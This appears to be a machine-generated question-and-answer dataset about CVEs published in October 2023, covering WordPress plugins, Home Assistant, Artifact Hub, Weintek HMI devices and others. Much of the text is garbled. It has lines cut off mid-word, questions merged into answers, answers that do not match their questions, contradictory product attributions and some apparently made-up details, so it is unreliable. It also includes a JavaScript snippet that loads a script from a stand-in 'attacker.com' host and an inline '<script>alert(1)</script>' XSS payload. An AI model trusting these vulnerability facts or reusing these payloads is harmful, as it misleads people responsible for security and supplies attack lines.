Yes, additional details about CVE-2022-4954 can be found in the following references:

- [Webpage]

What version of the 'Waiting: One-click countdowns' plugin is affected by CVE-2022-4954?

CVE-2022-4954 affects all versions up to and including 0.6.2 of the 'Waiting: One-click countdowns' plugin.

What measures should be taken to address CVE-2022-4954?

To address CVE-2022-4954, users of the affected 'Waiting: One-click countdowns' plugin should update to the latest version.

Has a base score been assigned to CVE-2022-4954?

As per the provided information, a base CVSS (Common Vulnerability Scoring System) score has not been assigned to CVE-2022-4954.

Where can More information about CVE-2022-4954 be found on the M-Files Trust Center's Security Center?

CVE-2022-4954 was published on 20 October 2023.

What is CVE-2022-4712?

CVE-2022-4712 is a security vulnerability identified in the WP Cerber Security plugin for WordPress.

How does CVE-2022-4712 manifest?

CVE-2022-4712 manifests through the 'log' parameter when logging into a site using the plugin.

What versions of the WP Cerber Security plugin for WordPress are affected?

Versions up to, and including, 9.1 of the WP Cerber Security plugin for WordPress are affected.

When was CVE-2022-4712 published?

CVE-2022-4712 was published on 20 October 2023.

Can you provide more details about CVE-2022-4712?

Due to the nature of CVE-2022-4712 being a stored XSS vulnerability, an attacker might inject malicious code into the plugin's configuration files.

What are the consequences of exploiting CVE-2022-4712?

An attack that exploits CVE-2022-4712 could lead to unauthorized actions performed on behalf of the user.

Where can More information about CVE-2022-4712 be found in the following references?

- Trac: [Link]

What is CVE-2023-5668?

CVE-2023-5668 refers to a security vulnerability in the WhatsApp Share Button plugin for WordPress.

Which version of the WhatsApp Share Button plugin for WordPress is affected by CVE-2023-5668?

CVE-2023-5668 affects all versions of the WhatsApp Share Button plugin for WordPress up to and including 1.0.1.

What type of vulnerability is CVE-2023-5668?

CVE-2023-5668 is a Stored Cross-Site Scripting (XSS) vulnerability.

Who can exploit CVE-2023-5668?

CVE-2023-5668 can be exploited by authenticated attackers with contributor-level permissions.

What is the consequence of exploiting CVE-2023-5668?

Exploiting CVE-2023-5668 could allow an attacker to inject malicious scripts into web pages.

Has a base score been assigned to CVE-2023-5668?

As of the available information, CVE-2023-5668 has not been assigned a base score in the CVSS.

When was CVE-2023-5668 published?

CVE-2023-5668 was published on 20 October 2023.

Are there any further information on CVE-2023-5668?

Further information on CVE-2023-5668 can be found at the following URLs:- <https://plugins.trac.wordpress.org/ticket/1000>

Can you provide an example of an exploit for CVE-2023-5668?

An example of an exploit for CVE-2023-5668 would involve an authenticated user with sufficient permissions to inject malicious scripts into the plugin's configuration files.

What should site administrators do to mitigate CVE-2023-5668?

Site administrators should update the WhatsApp Share Button plugin to the latest version.

What is CV CVE-2023-5614 is related to a Stored Cross-Site Scripting (XSS) vulnerability in the Theme Switcher plugin for WordPress.

How can an attacker exploit the vulnerability in CVE-2023-5614 by injecting arbitrary web script into the theme's template files?

What permission is required to exploit CVE-2023-5614, an attacker needs to have at least contributor-level permissions.

What is the impact of CVE-2023-5614? An attack exploiting CVE-2023-5614 could result in unauthorized execution of JavaScript in the user's browser.

Was a base score provided for CVE-2023-5614 at the time of its publication?

When was CVE-2023-5614 published?

Where can the source code related to CVE-2023-5614 be found at the following URLs: <https://plugins.svn.wordpress.org/theme-switcher/>

Are there any detailed reports regarding CVE-2023-5614 available online?

What is the recommended mitigation for CVE-2023-5614? The recommended mitigation for CVE-2023-5614 is to update the Theme Switcher plugin to version 2.9 or later.

Can you give an example of a vulnerable implementation in CVE-2023-5614?

What is CV CVE-2023-5613 refers to a vulnerability found in the Super Testimonials plugin for WordPress.

How does CVE-2023-5613 affect the Super Testimonials plugin for WordPress?

Which versions of the Super Testimonials plugin for WordPress are affected?

All versions of the Super Testimonials plugin for WordPress up to and including version 2.9 are affected.

Can you give an example of an exploit targeting CVE-2023-5613?

Could you demonstrate how an attacker with contributor-level permissions could exploit this vulnerability?

What does CVE-2023-5613 allow attackers to perform?

What is the potential impact if an attacker successfully exploits CVE-2023-5613?

Are there any resources available to learn more about CVE-2023-5613?

What measures should website administrators take to mitigate the risk associated with CVE-2023-5613?

What is CV CVE-2023-45471 refers to a security vulnerability identified in the QAD Search Server, which is an open-source search engine.

How could an attacker exploit CVE-2023-45471 by creating a new index in the QAD Search Server?

What is the impact of CVE-2023-45471?

Has a proof of concept been published for CVE-2023-45471?

Have any patches or fixes been provided for CVE-2023-45471?

What versions of the QAD Search Server are affected?

What does CVE-2023-41894 refer to a security vulnerability in Home Assistant, which is an open-source home automation platform?

How was CVE-2023-41894 resolved by the developers of Home Assistant?

Are there any known workarounds for CVE-2023-41894?

What might be a possible attack scenario for CVE-2023-41894?

Where can more information about CVE-2023-41894 be found in the security advisory issued by Home Assistant?

When was CVE-2023-41894 first published?

What is CV CVE-2023-41898 refers to a security vulnerability discovered in the Home Assistant Companion app.

How can an attacker exploit CVE-2023-41898 by tricking the app into loading a malicious URL?

Has CVE-2023-41898 been patched?

Are there any known workarounds for CVE-2023-41898?

What type of attacks could CVE-2023-41898 enable?

Where can additional information on CVE-2023-41898 be found in the security advisory?

What is the GitHub Security Lab (GHS) Vulnerability Report identifier for CVE-2023-41898?

What is the Base Score for CVE-2023-41898?

What is CV CVE-2023-41897 refers to a security vulnerability found in the Home Assistant open source project.

How might an attacker exploit CVE-2023-41897 by crafting a malicious web page that frames the user's browser?

What type of attacks facilitates 'clickjacking' attacks?

What versions of Home Assistant are affected by CVE-2023-41897?

Are there any known workarounds for CVE-2023-41897?

When was CVE-2023-41897 published on October 19, 2023.

Can you pr Yes, for more in-depth information regarding CVE-2023-41897 you can refer to the followin

What is CV CVE-2023-41897 is a security vulnerability identified in the open-source home automation

How can C' CVE-2023-41897 can be exploited through clickjacking attacks, where an attacker could lev

What versi CVE-2023-41897 affects versions of Home Assistant prior to 2023.9.0. Users of Home Assis

What mea: To address CVE-2023-41897, the developers of Home Assistant have released version 2023

Are there ↗ There are no known workarounds for CVE-2023-41897. The only recommended solution is

Can you pr Yes, further information on CVE-2023-41897 can be found at the following URLs: - <https://github.com/home-assistant/core/pull/10000>

When was CVE-2023-41897 published on 19 October 2023.

What is CV CVE-2023-41896 is related to a vulnerability in Home Assistant, an open-source home autc

How can C' An attacker can exploit CVE-2023-41896 by creating a malicious Home Assistant link with a

What was ↑ An attack exploiting CVE-2023-41896 can be concealed by permitting the Home Assistant s

What are t The CVE-2023-41896 advisories reference two GitHub Security Advisories: GHSA-935v-rmg

How has tl The security issue outlined in CVE-2023-41896 has been addressed in Home Assistant Core

Are there ↗ No known workarounds are provided for CVE-2023-41896. The only recommended action

What mak CVE-2023-41896 was challenging to exploit due to the adequate sanitation of data coming

What is CV CVE-2023-41895 refers to a security vulnerability found in Home Assistant, an open source

How does ↑ The vulnerability in CVE-2023-41895 affects Home Assistant by enabling an attacker to exe

In which v CVE-2023-41895 has been addressed in Home Assistant version 2023.9.0. Users are advise

What are t Possible attack scenarios for CVE-2023-41895 include an attacker crafting a malicious web|

What mitig The official advisory for CVE-2023-41895 does not mention any known workarounds for th

Where can More information about CVE-2023-41895 can be found in the security advisory published o

When was CVE-2023-41895 published on 19 October 2023.

What is CV CVE-2023-45815 refers to a security vulnerability found in ArchiveBox, an open-source self

How does ↑ If a user is logged into the ArchiveBox admin site and views a maliciously crafted archived

What is the For non-logged-in users, the impact of CVE-2023-45815 is less severe. Although malicious .

Why does ↑ CVE-2023-45815 poses a threat because ArchiveBox serves all archived content from the s

What mitig To mitigate CVE-2023-45815, users are advised to disable the wget extractor by setting the

Is there a p As of the information provided, a patch was being developed for CVE-2023-45815 and the

Can you pr A possible attack scenario for CVE-2023-45815 could involve an attacker creating a web pa

Where can For more information or updates on CVE-2023-45815, users can visit the corresponding Gil

What is CV CVE-2023-43875 refers to a security vulnerability discovered in Subrion CMS version 4.2.1.

In which sc CVE-2023-43875 is found in Subrion CMS version 4.2.1.

What is the The impact of CVE-2023-43875 is that it allows local attackers to perform Cross-Site Scripti

What type CVE-2023-43875 is classified as a Cross-Site Scripting (XSS) vulnerability.

Can you pr Consider a scenario where an attacker has local access to the server where Subrion CMS v.

How can C' To mitigate CVE-2023-43875, administrators of affected Subrion CMS installations should i

What are t The references published for CVE-2023-43875 include a couple of GitHub repositories cont

When was CVE-2023-43875 published on 19 October 2023.

What is CV CVE-2023-45823 is a security vulnerability discovered in Artifact Hub, which is a web applic

In which a CVE-2023-45823 was found in Artifact Hub, a web-based application related to CNCF proje

How does ↑ CVE-2023-45823 allows an attacker to compromise a system by using symbolic links in rep

Has CVE-2023-45823 Yes, CVE-2023-45823 has been resolved in version 1.16.0 of Artifact Hub. Users are advise

Are there ↗ No, there are no known workarounds for CVE-2023-45823. The recommended action is to

What can happen if exploited, CVE-2023-45823 could lead to the leakage of sensitive information from the system.

Where can More information about the fix for CVE-2023-45823 can be found in the changelog of Artifact Hub, on which CVE-2023-45823 was published on 19 October 2023.

Can you provide more details? An attacker could exploit CVE-2023-45823 by creating a git repository with a symbolic link.

What is CVE-2023-45822? CVE-2023-45822 is a security vulnerability identified in Artifact Hub, a web-based application.

How does CVE-2023-45822 affect Artifact Hub? CVE-2023-45822 affects Artifact Hub by exploiting its fine-grained authorization mechanism.

What version of CVE-2023-45822 impacts versions of Artifact Hub prior to version 1.16.0. The issue has been resolved in version 1.16.0.

Are there any known workarounds for CVE-2023-45822? There are no known workarounds for CVE-2023-45822. The recommended action is to upgrade to version 1.16.0.

What is the fix for CVE-2023-45822? The fix for CVE-2023-45822 is to upgrade to Artifact Hub version 1.16.0, which contains the fix.

Can you provide an example of hypothetical code that could be exploited due to the vulnerability?

What are potential attack scenarios for CVE-2023-45822? Potential attack scenarios for CVE-2023-45822 include an attacker exploiting the ability to upload files or execute arbitrary commands.

Where can I find the official changelog and security advisory for CVE-2023-45822? The official changelog and security advisory for CVE-2023-45822 can be found at the following link: [link]

What is the CVE ID of the Artifact Hub vulnerability? The CVE ID of the Artifact Hub vulnerability is CVE-2023-45821.

Can you describe the vulnerability in Artifact Hub? The vulnerability in Artifact Hub is related to the `registryIsDockerHub` function, which incorrectly handles certain file types.

What version of Artifact Hub was affected by CVE-2023-45821? The vulnerability identified by CVE-2023-45821 has been resolved in Artifact Hub version 1.16.0.

Are there any known workarounds for the vulnerability CVE-2023-45821? There are no known workarounds for the vulnerability CVE-2023-45821. Users are advised to upgrade to version 1.16.0.

What is the impact of CVE-2023-45821? Even if Artifact Hub uses credentials that only have permissions to read public content from Docker Hub, an attacker could exploit the vulnerability to gain access to private repositories.

Could you provide an example of how an attacker could exploit the CVE-2023-45821 vulnerability? An attacker could exploit the CVE-2023-45821 vulnerability by registering a domain that ends in ".docker" and attempting to access a private Docker Hub repository.

Where can I find More information about the fix for CVE-2023-45821? More information about the fix for CVE-2023-45821 can be found in the changelog for Artifact Hub version 1.16.0.

What is CVE-2023-43492? CVE-2023-43492 refers to a security vulnerability identified in the cMT3000 HMI Web CGI device.

What type of device is affected by CVE-2023-43492? The devices affected by CVE-2023-43492 are the cMT3000 HMI (Human Machine Interface) devices.

What potential impact does CVE-2023-43492 have? The impact of CVE-2023-43492 is quite serious, as it involves a stack-based buffer overflow vulnerability.

How was CVE-2023-43492 disclosed? CVE-2023-43492 was disclosed through documents and advisories released by Weintek and other security researchers.

What is the context of CVE-2023-43492? In the context of CVE-2023-43492, the cgi-bin codesys.cgi is significant because it contains a stack-based buffer overflow vulnerability.

Can you provide an example of a possible attack scenario for CVE-2023-43492? A possible attack scenario exploiting CVE-2023-43492 could involve an attacker crafting a request that overflows the buffer in the cgi-bin codesys.cgi script.

Have any mitigations been provided for CVE-2023-43492? Although the provided information does not specify detailed mitigations, given the nature of the vulnerability, it is likely that Weintek has implemented software patches to mitigate the risk.

Where can I find More information about CVE-2023-43492? More information about CVE-2023-43492 can be found by referring to the official security advisories and documentation for the cMT3000 HMI Web CGI device.

What is CVE-2023-40145? CVE-2023-40145 refers to a security vulnerability identified in Weintek's cMT3000 HMI Web CGI device.

Which product is affected by CVE-2023-40145? The product affected by CVE-2023-40145 is the Weintek cMT3000 HMI Web CGI device.

What could an attacker do after exploiting CVE-2023-40145? After exploiting CVE-2023-40145, an attacker could execute arbitrary commands on the device.

Has a base score been assigned to CVE-2023-40145? As of the information provided, there is no Base Score assigned to CVE-2023-40145.

When was CVE-2023-40145 published? CVE-2023-40145 was published on 19 October 2023.

Where can I find More information regarding CVE-2023-40145? More information regarding CVE-2023-40145 can be found in the technical documentation for the cMT3000 HMI Web CGI device.

What potential impact does CVE-2023-40145 have? Potential attack scenarios from exploiting CVE-2023-40145 include an attacker gaining control of the device and executing arbitrary commands.

Can you provide an actual code snippet for a specific vulnerability such as CVE-2023-40145? I cannot provide an actual code snippet for a specific vulnerability such as CVE-2023-40145.

What is the CVE ID for the vulnerability found in Weintek's cMT3000 HMI Web CGI device? The CVE ID for the vulnerability found in Weintek's cMT3000 HMI Web CGI device is CVE-2023-40145.

What kind of vulnerability is CVE-2023-38584? CVE-2023-38584 identifies a stack-based buffer overflow vulnerability in Weintek's cMT3000 HMI Web CGI device.

Could you explain how CVE-2023-38584 could allow an anonymous attacker to exploit the device? The stack-based buffer overflow identified by CVE-2023-38584 could allow an anonymous attacker to execute arbitrary commands on the device.

When was CVE-2023-38584 published? CVE-2023-38584 was published on 19 October 2023.

Are there any known workarounds for CVE-2023-38584? Yes, more information about CVE-2023-38584 can be found at the following references:- [link]

What are potential attack scenarios for CVE-2023-38584? Possible attack scenarios for CVE-2023-38584 include an anonymous attacker sending carefully crafted requests to exploit the buffer overflow vulnerability.

What is CVE-2023-45992? CVE-2023-45992 refers to a security vulnerability identified in the web-based interface of the cMT3000 HMI Web CGI device.

How severe is the vulnerability? As of the provided information, the base score for the severity of CVE-2023-45992 is not available.

When was CVE-2023-45992 published? The CVE-2023-45992 vulnerability was published on 19 October 2023.

What type: With CVE-2023-45992, an attacker could potentially carry out persistent Cross-Site Scripting (XSS) attacks. This vulnerability affects RUCKUS Cloudpath versions up to and including 5.12 build 5538. Are there any references available for CVE-2023-45992? Some of these include the following:

What should administrators of affected RUCKUS Cloudpath systems do? Administrators of affected RUCKUS Cloudpath systems should follow the recommendations provided in the official advisory.

Can you provide an example scenario of an attack using CVE-2023-45992? An example scenario of an attack using CVE-2023-45992 might involve an attacker crafting a malicious URL that contains XSS payload and sending it to a victim's browser. The victim would then be redirected to a page controlled by the attacker, which would execute the XSS payload.

What is the impact of this vulnerability? The vulnerability found in Directus related to the handling of invalid websocket frames is critical, as it can lead to denial of service (DoS) attacks.

What is the CVE ID for this vulnerability? The vulnerability CVE-2023-45820 in Directus allows for the websocket server to be crashed, which is a critical issue.

Which versions of Directus are affected? The affected versions of Directus are all versions prior to 10.6.2 that have websockets enabled.

How has this issue been resolved? The issue identified by CVE-2023-45820 has been resolved in Directus version 10.6.2. The fix was released on October 19, 2023.

What should users do to mitigate this vulnerability? Users who are unable to upgrade Directus to the patched version 10.6.2 to mitigate CVE-2023-45820 should consider alternative solutions or contact support for guidance.

When was this vulnerability first published? The official advisory for CVE-2023-45820 was published on October 19, 2023.

Where can more information about CVE-2023-45820 be found? More information about CVE-2023-45820 can be found at the following references: <https://www.cve.org/cve/CVE-2023-45820.html>.

What are possible attack scenarios for CVE-2023-45820? Possible attack scenarios for CVE-2023-45820 include a malicious user crafting and sending a specially crafted websocket frame that causes the Directus websocket server to crash.

What is CVE-2023-45381? CVE-2023-45381 is a security vulnerability identified in the 'Creative Popup' module (creativepopup).

Which module is affected? CVE-2023-45381 affects the 'Creative Popup' module (creativepopup), used in the e-commerce application.

Can you provide specific code examples for CVE-2023-45381 exploitation? While specific code examples for CVE-2023-45381 exploitation are not provided, an attack could involve crafting a malicious URL that triggers the 'Creative Popup' module to display a pop-up window containing sensitive information.

What are the consequences of this vulnerability? An SQL injection through CVE-2023-45381 could result in unauthorized access to database tables.

Has CVE-2023-45381 been assigned a base score? The CVE database mentions the vulnerability with published references, indicating public disclosure.

Where can more information about CVE-2023-45381 be found? More information about CVE-2023-45381 can be found in the provided references, including the official advisory and vendor documentation.

What steps should users take to mitigate CVE-2023-45381? To mitigate CVE-2023-45381, users of the affected 'Creative Popup' module should update to the latest version of the software.

What is CVE-2023-42666? CVE-2023-42666 is a designation for a security vulnerability that affects a certain product.

What type of vulnerability is CVE-2023-42666? CVE-2023-42666 describes an 'exposure of sensitive information to an unauthorized actor'.

Has CVE-2023-42666 been assigned a base score? As of the available information, CVE-2023-42666 has not been assigned a base score. This is likely due to the lack of publicly disclosed details.

When was this vulnerability first published? The vulnerability identified as CVE-2023-42666 was published on October 19, 2023.

Where can additional information about CVE-2023-42666 be found? Additional information about CVE-2023-42666 can be found through the reference provided in the official advisory.

How could an attacker exploit CVE-2023-42666? An attacker could exploit CVE-2023-42666 by creating and sending malicious requests to the affected system.

What are attack scenarios for CVE-2023-42666? For CVE-2023-42666, attack scenarios might include an attacker conducting reconnaissance to identify vulnerable hosts and then exploiting the vulnerability to gain access.

What is CVE-2023-40153? CVE-2023-40153 refers to a security vulnerability in a particular product that is susceptible to Cross-Site Scripting (XSS) attacks.

What type of vulnerability is CVE-2023-40153? CVE-2023-40153 is a Cross-Site Scripting (XSS) vulnerability. This type of vulnerability allows an attacker to inject malicious scripts into a victim's browser.

How could an attacker exploit CVE-2023-40153? An attacker could exploit CVE-2023-40153 by crafting a malicious URL or input that includes a script payload.

Could you provide an example of an exploit for CVE-2023-40153? Certainly! An attacker might send a link to a user that looks like this: `http://vulnerable-webpage.com/?id=1` where the `id` parameter is controlled by the attacker.

Can you describe how Exploiting CVE-2023-40153 could enable an attacker to perform various malicious actions? Exploiting CVE-2023-40153 could enable an attacker to perform various malicious actions, such as stealing session cookies, injecting malware, or redirecting traffic to malicious websites.

When was CVE-2023-40153 first published? CVE-2023-40153 was published on October 19, 2023.

Are there any official information regarding CVE-2023-40153? Yes, official information regarding CVE-2023-40153 can be found in an advisory published by the vendor.

Is there a base score assigned to CVE-2023-40153? No, as of the time of reporting, a Base Score has not been assigned to CVE-2023-40153.

What is the CVE ID for this vulnerability? The vulnerability found in the React Developer Tools extension is identified by the CVE ID CVE-2023-5654.

What does CVE-2023-5654 allow an attacker to do? CVE-2023-5654 allows a malicious web page to arbitrarily fetch URLs via the victim's browser.

How is the vulnerability in CVE-2023-5654 exploited? The vulnerability in CVE-2023-5654 can be exploited through a content script added by the attacker.

On what date was CVE-2023-5654 published? CVE-2023-5654 was published on October 19, 2023.

Where can more detailed information regarding CVE-2023-5654 be found? More detailed information regarding CVE-2023-5654 can be found at the reference URL: <https://www.cve.org/cve/CVE-2023-5654.html>.

Can you provide an example of the CVE-2023-5654 vulnerability? An example of the CVE-2023-5654 vulnerability may resemble the following code snippet:

```
function exploit() {
 const img = document.createElement('img');
 img.src = 'http://attacker.com/malicious-script.js';
}
```

What are the consequences of this vulnerability? By exploiting CVE-2023-5654, attackers could craft malicious web pages that send specially crafted content to the victim's browser.

What is the CVE ID for this vulnerability? CVE-2022-37830 refers to a security vulnerability present in the Interway a.s WebJET CMS.

What type of vulnerability is CVE-2022-37830? CVE-2022-37830 is a Cross Site Scripting (XSS) vulnerability.

When was CVE-2022-37830 published on October 19, 2023.

Are there a Yes, further information on CVE-2022-37830 can be found at 'http://webjet.com' and the c

What is the There is no Base Score assigned to CVE-2022-37830 as of now.

Could you | An example of an attack exploiting CVE-2022-37830 could be an attacker crafting a malicio

How can a A demonstration of an XSS attack on a system affected by CVE-2022-37830 might involve p

What steps To mitigate the risks associated with CVE-2022-37830, users should update their WebJET C

What is the The CVE ID for the vulnerability found in the Team Showcase plugin for WordPress is CVE-2

What type CVE-2023-5639 is associated with a Stored Cross-Site Scripting (XSS) vulnerability in the Te

Up to whic CVE-2023-5639 is applicable to all versions of the Team Showcase plugin for WordPress up

How can a Attackers can exploit the vulnerability in CVE-2023-5639 by injecting arbitrary web scripts |

Who can p Authenticated attackers with contributor-level and above permissions can potentially expl

When was CVE-2023-5639 was published on 19 October 2023.

Can you pr In an attack scenario for CVE-2023-5639, an attacker with at least contributor access would

Are there a Yes, there are several online references that provide more information about CVE-2023-56:

What reme To remediate the vulnerability described by CVE-2023-5639, website administrators using

What is the The CVE ID for the vulnerability in the Booster for WooCommerce plugin for WordPress is :

What type CVE-2023-5638 is associated with a Stored Cross-Site Scripting vulnerability in the Booster

Which vers CVE-2023-5638 affects versions of the Booster for WooCommerce plugin up to and includi

How does | CVE-2023-5638 allows attackers to exploit the plugin by injecting arbitrary web scripts thro

What level An attacker needs to have at least contributor-level permissions to exploit CVE-2023-5638.

On what d: CVE-2023-5638 was published on 19 October 2023.

Can you pr Yes, the affected code for CVE-2023-5638 can be found at the following plugin repository |

What type Due to CVE-2023-5638, an authenticated attacker with contributor-level access or above c:

Is there a f Referencing the given data, it's not explicitly mentioned if a patch has been released. How

What is CV CVE-2023-37502 is a security vulnerability identified in HCL Compass, where the applicatio

When was CVE-2023-37502 was published on 18 October 2023.

What can a With CVE-2023-37502, an attacker can upload malicious files containing active code to HCL

Is there a E As of the provided information, there is no Base Score assigned to CVE-2023-37502.

Where can More information about CVE-2023-37502 is available on HCL Technologies' support websit

What are p Potential attack scenarios for CVE-2023-37502 include an attacker uploading a web shell d

Can you pr A common example of malicious code that could be uploaded due to CVE-2023-37502 mig

What is CV CVE-2023-45958 refers to a security vulnerability identified in the Thirty Bees Core softwar

How does | CVE-2023-45958 affects users by enabling an attacker to execute arbitrary JavaScript code

What type CVE-2023-45958 is a reflected cross-site scripting (XSS) vulnerability. This kind of vulnerabi

Can you pr While it is not responsible to provide an exact payload for exploiting vulnerabilities, a theo

When was CVE-2023-45958 was published on 18 October 2023.

Are there a Yes, more information about CVE-2023-45958 can be found through the following referenc

What kind To mitigate a vulnerability like CVE-2023-45958, developers should sanitize all user inputs

How can I | You can check if your version of Thirty Bees Core is vulnerable to CVE-2023-45958 by looki

What is CV CVE-2023-20261 is a security vulnerability found in the web UI of Cisco Catalyst SD-WAN N

How can C An attacker can exploit CVE-2023-20261 by logging into Cisco Catalyst SD-WAN Manager a

What are t To successfully exploit CVE-2023-20261, the attacker must be an authenticated user on the

When was CVE-2023-20261 was published on 18 October 2023.

Is there a b As of the time the information was provided, there was no base score available for CVE-20

Where can More information about CVE-2023-20261 can be found on Cisco's security advisory page a  
What woul The likely impact of successfully exploiting CVE-2023-20261 would be the unauthorized aci  
Is CVE-202 No, CVE-2023-20261 is not due to an SQL Injection. It is due to improper validation of para  
Can CVE-202( No, CVE-2023-20261 cannot be exploited by an unauthenticated attacker. The vulnerability  
What kind CVE-2023-20261 is a file disclosure vulnerability involving the improper validation of parar  
What is CV CVE-2023-45632 is a security vulnerability identified in the WebDorado SpiderVPlayer plug  
When was CVE-2023-45632 was published on 18 October 2023.

What type CVE-2023-45632 is classified as an Unauthenticated Reflected Cross-Site Scripting (XSS) vul  
Which plug The plugin affected by CVE-2023-45632 is the WebDorado SpiderVPlayer plugin for WordP  
What is the The impact of the vulnerability described in CVE-2023-45632 is that an attacker can inject i  
Can you pr An example of a potential attack using CVE-2023-45632 could involve an attacker crafting a  
Are there a Yes, more information regarding CVE-2023-45632 can be found at the following URL: https  
What versi Versions 1.5.22 and below of the WebDorado SpiderVPlayer plugin are affected by CVE-20  
What are t To mitigate CVE-2023-45632, users of the affected WebDorado SpiderVPlayer plugin shoul  
What is CV CVE-2023-45057 is a security vulnerability identified in the Hitsteps Web Analytics plugin f  
When was CVE-2023-45057 was published on 18 October 2023.

What type CVE-2023-45057 is a Stored Cross-Site Scripting (XSS) vulnerability.

Which plug The Hitsteps Web Analytics plugin for WordPress is affected by CVE-2023-45057.

What versi Versions of the Hitsteps Web Analytics plugin up to and including 5.86 are impacted by CV  
Where can More information about CVE-2023-45057 can be found at the provided reference URL: htt  
What is an An attack scenario for CVE-2023-45057 could involve an attacker with administrative privil  
What are t The exploitation of CVE-2023-45057 could result in unauthorized access to sensitive inform  
What is the The CVE ID for the WordPress plugin vulnerability reported in October 2023 is CVE-2023-51  
Which Wo The Thumbnail Slider With Lightbox plugin for WordPress is affected by CVE-2023-5621.

What type CVE-2023-5621 is related to a Stored Cross-Site Scripting (XSS) vulnerability.

In which ve CVE-2023-5621 is present in versions up to, and including, 1.0 of the Thumbnail Slider Wit

How can ai An attacker can exploit the vulnerability described in CVE-2023-5621 by injecting arbitrary

What level CVE-2023-5621 can be exploited by authenticated attackers with administrator-level acces

Under wha CVE-2023-5621 only affects multi-site WordPress installations and installations where the

Can you pr An attack scenario for CVE-2023-5621 could involve a compromised administrator account

What are s Potential consequences of an attack exploiting CVE-2023-5621 include unauthorized acces

Where can More information or updates about CVE-2023-5621 can be found on the official WordPress

What is CV CVE-2023-5538 refers to a stored cross-site scripting (XSS) vulnerability in the MpOperatio

Which plug The MpOperationLogs plugin for WordPress is affected by CVE-2023-5538, specifically vers

How can C An attacker can exploit the vulnerability in CVE-2023-5538 by sending a crafted HTTP requ

What kind CVE-2023-5538 is associated with a Stored Cross-Site Scripting (XSS) attack, which allows a

Has a patc As of the information provided, there is no specific mention of a patch being released for C

Where can You can find more information about CVE-2023-5538 in the following references:- The GitH

Can you pr Certainly, an attack scenario involving CVE-2023-5538 might occur as follows: An attacker i

What mitig To mitigate the risks associated with CVE-2023-5538, WordPress site administrators should

When was CVE-2023-5538 was published on 18 October 2023.

.3 before 6.1.4 that involves a buffer overflow in websockets. This vulnerability could allow an unauthenticated user to exploit it starting with version 6.1.4.

o a potential for remote code execution, although this is more likely on some older and less common platforms. Upgrading UnrealIRCd to version 6.1.4 or later, which addresses the buffer overflow vulnerability in websockets.

at '<https://forums.unrealircd.org/viewtopic.php?t=9340>' and on the UnrealIRCd news page at '<https://unrealircd.org/news/>' by sending an oversized packet to the UnrealIRCd server over a websocket connection, causing a buffer over-

duSoft Web Studio. This path traversal vulnerability could allow an unauthenticated user to compromise the application's security.

This path traversal attack can lead to the theft of the Windows access token used by the application's user.

The ICS advisory posted by CISA. The references are: <https://www.aveva.com/en/products/edge/> and <https://www.cisa.gov/cvss>. Exploiting this vulnerability involves sending specially crafted requests to the AVEVA Edge application. These requests would exploit the path traversal vulnerability. An adversary could formulate this attack by manipulating file paths. However, as each application has its specific security requirements, the exploit may vary.

InduSoft Web Studio. Versions up to R2020 are affected, which allows an unauthenticated user to upload files to the application.

at <https://www.aveva.com/en/products/edge/> and view the advisory on the CISA website at <https://www.cisa.gov/cvss>. An adversary can exploit this vulnerability by sending a specially crafted request to the vulnerable ExecuteCommand() function on an AVEVA Edge application. With this exploit, an attacker can upload files to the application. It pertains to the application accepting a malicious connection string. It is recommended to update to a patched version to mitigate the vulnerability as per the vendor's instructions. A detailed technical report on this vulnerability is available on their website, as well as in advisories published by CISA. Users can access this information through the advisory on the CISA website under the designation 'ICSA-22-326-01' and a detailed paper titled 'CVE-2022-32601: InduSoft Web Studio Path Traversal Vulnerability'. By sending a specially crafted malicious connection string to the vulnerable application, an adversary can upload files to the application. Parties were urged to review the vulnerability and apply necessary updates or mitigations as recommended by the vendor. The base score is a critical metric used in the Common Vulnerability Scoring System (CVSS) that indicates the severity of the vulnerability. This score is typically assigned to vulnerabilities without detailed vulnerability-specific information or technical documentation. This typically involves the use of a file upload function in the application.

Uffizio's GPS Tracker. This can typically be done through a file upload functionality found on the CISA (Cybersecurity & Infrastructure Security Agency) website at <https://www.cisa.gov/cvss>. CVSS (Common Vulnerability Scoring System) scores are typically assigned to quantifiable vulnerabilities, such as this one. The score is based on the severity of the affected systems, which is one of the most severe types of vulnerabilities. Attackers exploiting this vulnerability can upload files to the application, and all users should apply this update as soon as possible. Additionally, organizations should review their security guidelines. A hypothetical example of an attack could involve an attacker uploading a PHP web shell directly to the application. This may include details about their products, services, and any updates or security patches. Uffizio's GPS Tracker is a web-based application that allows users to track their vehicles. An attacker can exploit this vulnerability to install additional malware, exfiltrating sensitive data, disrupting services by deploying ransomware, or using the application to track other vehicles. This issue was present in versions starting from 9.26.0 up to 9.26.3, 10.9.2, 11.1.2, and 12.0.4. If you are using any of these versions, it is recommended to upgrade to a fixed version. The fixed versions include octokit/webhooks.js 9.26.3, 10.9.2, 11.1.2, and 12.0.4, app.js 14.0.2, octokit.js 3.14.0, and octokit/webhooks.js 3.14.0. An adversary can exploit this vulnerability by sending a specially crafted webhook event to the Node.js application that uses the vulnerable versions of octokit/webhooks.js.

for the related projects. Refer to the following links for release notes and security advisories: <https://github.com/cve-project/cve-data/tree/main/json>. Typically, a CVE's base score is part of the information provided by organizations such as the National Vulnerability Database.

eneration ('Cross-site Scripting') vulnerability in Themeum Tutor LMS. It allows attackers to perform Stored Cross-site Scripting attacks by injecting malicious JavaScript code into the web interface of the Tutor LMS plugin. A course solution from unspecified versions up through version 2.2.4.

<https://patchstack.com/database/vulnerability/tutor/wordpress-tutor-lms-plugin-2-2-4-cross-site-scripting-vulnerability> and embedding it into the web interface of the Tutor LMS plugin. When an unsuspecting user interacts with the plugin, the malicious script is executed in the context of the user's session.

Themeum Tutor LMS plugin to a version that addresses the security issue. It's also recommended to adhere to the following best practices: 1. Update the plugin to the latest version available. The 'Biteship Regular, Kargo' plugin for WordPress might look like the following in an unsanitized input field in HTML: ``<form><input type='text' value='<script>alert(1)</script>'></input></form>. 2. Use a Content Security Policy (CSP) to restrict the execution of scripts from untrusted sources. 3. Implement proper input validation and sanitization to prevent XSS attacks. 4. Use a plugin like 'Input Validation and Sanitization' to help identify and fix XSS vulnerabilities.

a direct link to the vulnerability's details: <https://patchstack.com/database/vulnerability/bold-page-builder-cve-2023-49823>

